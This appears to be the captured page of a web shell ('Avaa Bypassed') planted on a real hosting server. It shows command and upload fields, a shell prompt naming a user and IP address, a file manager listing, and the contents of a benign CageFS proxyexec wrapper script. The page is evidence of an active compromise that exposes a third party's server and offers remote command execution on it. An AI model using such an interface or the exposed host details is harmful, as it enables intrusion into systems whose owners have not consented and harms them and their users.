404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.223.159.189: ~ $
#!/bin/bash
##CageFS proxyexec wrapper - ver 16

if [[ $EUID -eq 0 ]]; then
    echo 'Cannot be run as root'
    exit 1
fi

USR=`/usr/bin/whoami`
TOKEN=`/bin/cat /var/.cagefs/.cagefs.token`
# It's user's tmp directory and write to it is secure procedure
# because this script is running only under usual user
PIDFILE="/tmp/.cagefs.proxy.$$"
USER_INTERRUPT=13
CWD=`pwd`

ctrl_c_handler() {
    if [[ -f "$PIDFILE" ]]; then
        pid=`/bin/cat $PIDFILE`
        /bin/rm -f $PIDFILE > /dev/null 2>&1
        /bin/kill -s SIGINT "$pid" > /dev/null 2>&1
    fi
    exit $USER_INTERRUPT
}

if [[ -e /var/.cagefs/origin ]]; then
    ORIGIN=`/bin/cat /var/.cagefs/origin`
    REMOTE="/usr/bin/ssh -F /etc/ssh/cagefs-rexec_config $USR@$ORIGIN"
    $REMOTE CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock "$USR" "$CWD" LVE_STATS_CONFIGS_READER $$ "$@"
    RETVAL=$?
else
    trap 'ctrl_c_handler' 2
    CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock "$USR" "$CWD" LVE_STATS_CONFIGS_READER $$ "$@"
    RETVAL=$?
    /bin/rm -f $PIDFILE > /dev/null 2>&1
fi

exit $RETVAL

Filemanager

Name Type Size Permission Actions
1905c8c0f115ba389d196a2a00dec5a1692363 File 20.15 KB 0755
File 0 B 0
File 0 B 0
44edd73b13d9640db449448e7470c43754cc56 File 1.05 KB 0755
File 0 B 0
6cb45a8e974a9e0f24f215d8c1729ecfc56131 File 11.89 KB 0755
6dc1020927f867b8e7228256b2b1ff9542a589 File 53.63 KB 0755
File 0 B 0
9a14effea69b59f29dbffcc2141cd874512867 File 22.25 KB 0755
File 0 B 0
a564eaaa63f971cc585b4788c33b7e5c39b1d0 File 23.57 KB 0755
cb745ed5707c864fec8448d404e678f27b85e3 File 467.38 KB 0755
d994066ecfd6b012c4853ffecafee188b5f38a File 11.76 KB 0755
d994066ecfd6b012c4853ffecafee188b5f38a.1 File 11.76 KB 0755
File 0 B 0